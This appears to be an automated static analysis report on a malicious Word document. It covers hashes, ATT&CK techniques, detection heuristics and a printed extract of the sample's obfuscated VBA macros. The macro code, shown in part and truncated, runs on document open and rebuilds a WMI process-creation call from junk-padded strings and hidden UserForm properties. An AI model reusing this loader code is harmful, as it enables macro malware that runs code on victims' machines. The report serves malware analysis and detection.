Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d11c569aecd4cde2…

MALICIOUS

Office (OLE)

230.4 KB Created: 2020-08-14 09:57:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: 96d8a26d745ad2ff0ea49ea7195f972e SHA-1: 9aab9ff9c8b0317a637cbd50037693e04ef8a6ab SHA-256: d11c569aecd4cde2a5ecb8f4927e7617a7ac9be548c2becab4973d51ca5e1241
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro, combined with 'CreateObject' calls and a hidden UserForm property stager, indicates an attempt to execute arbitrary code. The ClamAV detection 'Doc.Downloader.Generic-9319627-0' strongly suggests a downloader functionality, likely to fetch and execute a secondary payload. No specific family could be identified, but the technique points to a macro-based downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9319627-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9319627-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8288 bytes
SHA-256: 168bb2c59f9c6d1ef46615cca6e2286d17da4315bb555dd88a5e38a72078bcda
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Mbkhz9q2s5m"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Xz2e152voq9a754.Gx7pz1nlj51at
End Sub


Attribute VB_Name = "Xz2e152voq9a754"
Attribute VB_Base = "0{2FC4DF45-2536-4EB4-9B32-8F0DA57C5FA5}{6D2D1245-52EA-46E8-A50D-286E4A657962}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Gx7pz1nlj51at()
   Er9c78oaw0dc5hiqle = 4
Do While Er9c78oaw0dc5hiqle < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Er9c78oaw0dc5hiqle = Er9c78oaw0dc5hiqle + 8: DoEvents
Loop
Vf7u76_ypdyig0 = Xz2e152voq9a754.HelpContextId + 100
   Er9c78oaw0dc5hiqle = 4
Do While Er9c78oaw0dc5hiqle < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Er9c78oaw0dc5hiqle = Er9c78oaw0dc5hiqle + 8: DoEvents
Loop
Tqa6urw61zwdcx0m7 = ChrW(Vf7u76_ypdyig0 + (100 + 35) / 9)
   Er9c78oaw0dc5hiqle = 4
Do While Er9c78oaw0dc5hiqle < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Er9c78oaw0dc5hiqle = Er9c78oaw0dc5hiqle + 8: DoEvents
Loop
Bhwvc_zjss4u4 = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Tqa6urw61zwdcx0m7 + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Xz2e152voq9a754.Qn4b272xyr25t2saw4 + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Er9c78oaw0dc5hiqle = 4
Do While Er9c78oaw0dc5hiqle < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Er9c78oaw0dc5hiqle = Er9c78oaw0dc5hiqle + 8: DoEvents
Loop
Zxykx6ab4zjuu = H8tfw4xrsnf(Bhwvc_zjss4u4)
   Er9c78oaw0dc5hiqle = 4
Do While Er9c78oaw0dc5hiqle < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Er9c78oaw0dc5hiqle = Er9c78oaw0dc5hiqle + 8: DoEvents
Loop
Set Xnbindmff_kb = CreateObject(Zxykx6ab4zjuu)
   Er9c78oaw0dc5hiqle = 4
Do While Er9c78oaw0dc5hiqle < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Er9c78oaw0dc5hiqle = Er9c78oaw0dc5hiqle + 8: DoEvents
Loop
M1xy0c9tafvi9 = Xz2e152voq9a754.Lnksu2737oeaaqnr.ControlTipText
   Er9c78oaw0dc5hiqle = 4
Do While Er9c78oaw0dc5hiqle < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Er9c78oaw0dc5hiqle = Er9c78oaw0dc5hiqle + 8: DoEvents
Loop
F9ytbxc8a8zksr = Gfy3n802my6x4e + (Zxykx6ab4zjuu + Tqa6urw61zwdcx0m7 + Xz2e152voq9a754.Eg0q6p2zt7fux5.ControlTipText + M1xy0c9tafvi9)
   Er9c78oaw0dc5hiqle = 4
Do While Er9c78oaw0dc5hiqle < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Er9c78oaw0dc5hiqle = Er9c78oaw0dc5hiqle + 8: DoEvents
Loop
Qg8fb1avdy8 = F9ytbxc8a8zksr + Xz2e152voq9a754.Qn4b272xyr25t2saw4
   Er9c78oaw0dc5hiqle = 4
Do While Er9c78oaw0dc5hiqle < 4 + 3
gIMkDeCUuR = "te
... (truncated)